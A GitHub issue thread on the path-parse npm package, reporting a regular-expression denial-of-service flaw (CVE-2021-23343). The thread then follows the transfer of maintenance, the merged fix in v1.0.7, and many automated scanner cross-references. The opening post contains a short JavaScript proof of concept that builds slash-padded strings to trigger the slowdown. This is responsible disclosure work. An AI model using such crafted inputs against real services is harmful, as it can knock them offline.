☐ jbgutierrez / path-parse Public

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ReDoS in path-parse #8



○ Closed) yetingli opened this issue on Feb 9, 2021 · 26 comments

yetingli commented on Feb 9, 2021 Hi. I would like to report two Regular Expression Denial of Service (REDoS) vulnerabilities in path-parse It allows cause a denial of service when parsing crafted invalid paths. You can execute the code below to reproduce the vulnerability. var pathParse = require('path-parse');
function build_attack(n) { var ret = "" for (var i = 0; i < n; i++) {
 ret += "/" }
return ret + "O"; for(var i = 1; i <= 5000000; i++) { if (i % 10000 == 0) { var time = Date.now();
var attack_str = build_attack(i) pathParse(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") Feel free to contact me if you have any questions. Best regards, Yeting Li (<u>l</u> 27)

TayHobbs mentioned this issue on Apr 13, 2021

ReDoS in unmaintained path-parse dependency browserify/resolve#240

(⊘Closed)

ljharb commented on May 5, 2021

CVE link: https://nvd.nist.gov/vuln/detail/CVE-2021-23343

🗘 🔝 naveTransmit mentioned this issue on May 10, 2021

Vulnerability in sub-dependency path-parse DataDog/dd-trace-js#1356

⊙ Closed

n8ores commented on May 11, 2021

Is there any update on patching this vulnerability? This is a core NPM package that is heavily used by many other packages and I foresee a lot of failing pipelines now that this has a CVE logged.



n8ores commented on May 13, 2021

I have emailed @jbgutierrez to see if he would be willing to patch this, but have not yet received a response.

jbgutierrez commented on May 13, 2021

Owner

I'm willing to transfer this repo to anyone interested in its maintenance. Would you?

cameron-martin commented on May 13, 2021

If there aren't any other takers, I would be happy to maintain it, since the organisation that I work for, ForgeRock, also has interest in this package not having security vulnerabilities.

Alternatively, having multiple maintainers may be a good idea, for a higher chance of changes like this being made.



ljharb commented on May 13, 2021 • edited 🕶

@jbgutierrez i will be happy to take it on, since resolve relies on it. it could also live in the browserify org if that's preferred.



jeffrey-pinyan-ith... commented on May 13, 2021

Contributor

I have an extensive history with regexes from my Perl days. Even though node doesn't support (?>...), I can think of one quick solution, which is replacing [\s\s]?? with a more specific pattern.

jeffrey-pinyan-ith... commented on May 13, 2021 • edited ▼

Contributor

#10 https://github.com/jeffrey-pinyan-ithreat/path-parse fixes the problem without breaking any tests.



jeffrey-pinyan-ith... commented on May 13, 2021 • edited ▼

Contributor

The regexes could stand a bit more tweaking to make them a little simpler.

(\/?|) is redundant and should just be $(\/?)$, for example.

Arudakova mentioned this issue on May 14, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz Path-Check/gaen-mobile#901



[2] @jeffreynerona mentioned this issue on May 17, 2021

path-parse dependency vulnerability browserify/resolve#243



victory-glitch commented on May 20, 2021

@jbgutierrez @ljharb Is there any update on fixing this vulnerability? There is already a PR open to fix this and there doesn't seem to be anyone disagreeing with the fix, so can we merge the PR and deploy v1.0.7 to get this security issue removed?

The resolve library is using this dependency, and the Angular CLI has started using resolve as a dependency since v11. Our security team does not want open vulnerabilities in our Angular codebase (regardless of its actual potential for misuse, which is the better approach to security anyways), so we are delaying on Angular v10 to avoid triggering this on our security scans.



ljharb commented on May 20, 2021

@hareharey as soon as I'm handed the repo/commit bit, and also the npm publish rights, I'd be happy to take care of it.



Skhoshhal commented on May 21, 2021

Some good news regarding to this issue ?



n8ores commented on May 24, 2021

Any update on supplying repo/commit and npm publish rights to @ljharb?



victory-glitch commented on May 25, 2021

@n8ores It looks like @jbgutierrez just merged PR #10 to fix the redos issue and he published v1.0.7 to the npm registry so you should be good there.

@ljharb would just need to update browserify to point to the new dependency and ideally the Angular dependency issue should be fixed in the next minor version.

However, I'm not sure how to update the official snyk.io page for this vulnerability so that it shows the new fix version. Maybe @yetingli could help with that?



ljharb commented on May 25, 2021

resolve uses ^, as does browserify, so no update should be needed.

(2) davidcui1225 mentioned this issue on May 25, 2021



n8ores commented on May 25, 2021

Noting that the NVD still flags this as a vulnerability for all versions. I have asked them how we go about updating this CVE Entry: https://nvd.nist.gov/vuln/detail/CVE-2021-23343

Filename: path-parse:1.0.7 | Reference: CVE-2021-23343 | CVSS Score: 7.5 | Category: NVD-CWE-noinfo | All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity



mend-bolt-for-github (bot) mentioned this issue on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz AlexRogalskiy/screenshots#369

⊙ Open

mend-for-github-com bot mentioned this issue on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz SmartBear/git-en-boite#738

⊙ Closed

mend-bolt-for-github (bot) mentioned this issue on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz exadel-inc/etoolbox-authoring-kit#191

⊙ Closed

mend-for-github-com bot mentioned this issue on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed SmartBear/react-gherkin-editor#176

⊙ Closed

This was referenced on May 27, 2021

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed CatalystOne/ngx-jira-issue-collector#79

⊙ Closed

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed valtech-ch/microservice-kubernetes-cluster#180

⊙ Closed

 $\textbf{CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz} \ A lexRogalskiy/weather-sprites \#202$

⊙ Open

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed monetr/web-ui#324

⊙ Closed

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed Lob2018/YannLobjois_6_25032021#5

⊙ Closed

801 hidden items

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☐ This was referenced on Apr 20

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz mattdanielbrown/primed#81

⊙ Open

CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz - autoclosed turkdevops/update-electron-app#101

(⊘ Closed)

ng-packagr-11.2.4.tgz: 11 vulnerabilities (highest severity is: 9.8) - autoclosed thor-it/thor-sso#87

⊘ Closed

 $\textbf{CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz} \ Satheesh 575555/external_v8_AOSP10_r33\#13$

⊙ Open

mend-for-github-com bot mentioned this issue on Apr 28

grunt-if-0.2.0.tgz: 24 vulnerabilities (highest severity is: 9.8) samq-ghdemo/NodeGoat#11

⊙ Open

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz Satheesh575555/external_v8_AOSP10_r33_CVE-2021-0396#11

⊙ Open

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz Trinadh465/external_v8_AOSP10_r33#13

⊙ Open

CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz Trinadh465/external_v8_AOSP10_r33_CVE-2021-0393#12 (⊙ Open CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz ShaikUsaf/external_v8_AOSP10_r33_CVE-2020-0240#11 ⊙ Open CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz vincenzodistasio97/excel-to-json#103 ⊙ Open eslint-plugin-github-4.1.1.tgz: 2 vulnerabilities (highest severity is: 7.5) TakeScoop/publish-terraform-cloud-module-action#65 (⊙Open) mend-bolt-for-github bot mentioned this issue on May 11 CVE-2021-23343 (High) detected in librejslibrejs-7.19 YJSoft/syntaxhighlighter#22 ⊙ Open debricked bot mentioned this issue on May 14 Fix CVE-2021-23343 AnExampleCompany/Repo1#26 [] Closed mend-bolt-for-github (bot) mentioned this issue on May 25 CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz MohammedAbidNafi/COVID19-Tracker-Advanced-React#36 ⊙ Open allengayCx mentioned this issue on May 27 CVE-2021-23343 @ Npm-path-parse-1.0.5 allengayCx/nodegoat#64 ⊙ Open mend-for-github-com bot mentioned this issue on Jun 2 alex-9.1.0.tgz: 5 vulnerabilities (highest severity is: 9.8) Nexmo/nexmo-developer#4215 ⊙ Open mend-bolt-for-github bot mentioned this issue on Jun 3 CVE-2021-23343 (High) detected in path-parse-1.0.6.tgz vincenzodistasio97/ReactSocial#44 (⊙Open) ☐ This was referenced on Jun 6 grunt-cli-1.3.2.tgz: 2 vulnerabilities (highest severity is: 7.5) opentok/opentok-rtc#798 (⊙Open) react-native-0.68.2.tqz: 6 vulnerabilities (highest severity is: 9.8) opentok/opentok-react-native-samples#104 ⊙ Closed CMaheshBL mentioned this issue on May 6 CVE-2021-23343 @ Npm-path-parse-1.0.5 CMaheshBL/NodeGoat#79 (⊙Open) ☐ This was referenced on Jun 9 eslint-plugin-import-2.22.1.tgz: 2 vulnerabilities (highest severity is: 9.8) opentok/learning-opentok-node#22 ⊙ Open vue-loader-13.6.1.tgz: 4 vulnerabilities (highest severity is: 8.1) opentok/opentok-video-call-center#26 ⊙ Open ☐ This was referenced on Jun 10 CVE-2021-23343 (High) detected in path-parse-1.0.5.tgz vincenzodistasio97/helloBooks#208 (⊙Open)

ajssd commented on Jul 26

If this problem has indeed been fixed, is it possible to update the entry here https://nvd.nist.gov/vuln/detail/CVE-2021-23343 so that it doesn't say "All versions of package path-parse are vulnerable..."?

